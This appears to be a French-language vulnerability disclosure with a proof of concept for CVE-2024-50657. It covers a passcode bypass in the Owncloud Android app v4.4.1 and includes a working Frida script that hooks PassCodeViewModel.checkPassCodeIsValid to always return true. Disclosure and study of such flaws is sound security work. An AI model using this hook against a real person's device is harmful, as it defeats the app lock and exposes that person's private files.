
Fournit une preuve de concept pour CVE-2024-50657, une vulnérabilité de contrôle d'accès incorrect dans l'application Owncloud Android, démontrant le contournement du code d'accès via le hooking Frida.
Un problème dans l'APK Android Owncloud v.4.4.1 permet à un attaquant physiquement proche d'élever ses privilèges via la classe PassCodeViewModel, plus précisément dans la méthode checkPassCodeIsValid.
Contrôle d'accès incorrect
Owncloud
APK Android Owncloud - 4.4.1
com.owncloud.android.presentation.security.passcode.PassCodeViewModel
La classe PassCodeViewModel dans l'application gère la logique de vérification du code d'accès. La méthode checkPassCodeIsValid au sein de cette classe est responsable de la détermination de la validité du code d'accès saisi.
Un script Frida est utilisé pour intercepter la méthode checkPassCodeIsValid dans la classe PassCodeViewModel. L'implémentation de la méthode est modifiée pour toujours retourner true, contournant ainsi la validation réelle du code d'accès.
Le script Frida est exécuté pendant que l'application est en cours d'exécution. Tout code d'accès saisi par l'utilisateur sera accepté comme valide, permettant un accès non autorisé.
Java.perform(function() { // Locate the PassCodeViewModel class in the target application var PassCodeActivity = Java.use('com.owncloud.android.presentation.security.passcode.PassCodeViewModel');
// Hook the checkPassCodeIsValid method to modify its behavior PassCodeActivity.checkPassCodeIsValid.implementation = function(passcode) {
// Bypass the actual passcode check by always returning true return true;
};
});
Lien vidéo de la PoC : https://drive.google.com/drive/folders/1C-ZYjYhmKRGvWs9YN51XOiAS2WxxwdQd?usp=sharing
Cette vulnérabilité est une vulnérabilité de contournement de sécurité côté client. Elle affecte les utilisateurs de l'application qui comptent sur la fonctionnalité de code d'accès pour protéger des données sensibles ou restreindre l'accès à certaines fonctionnalités de l'application. En exploitant cette vulnérabilité, un attaquant peut contourner la vérification du code d'accès et obtenir un accès non autorisé à des zones de l'application qui devraient être protégées, exposant potentiellement des données utilisateur ou permettant des actions non autorisées dans l'application.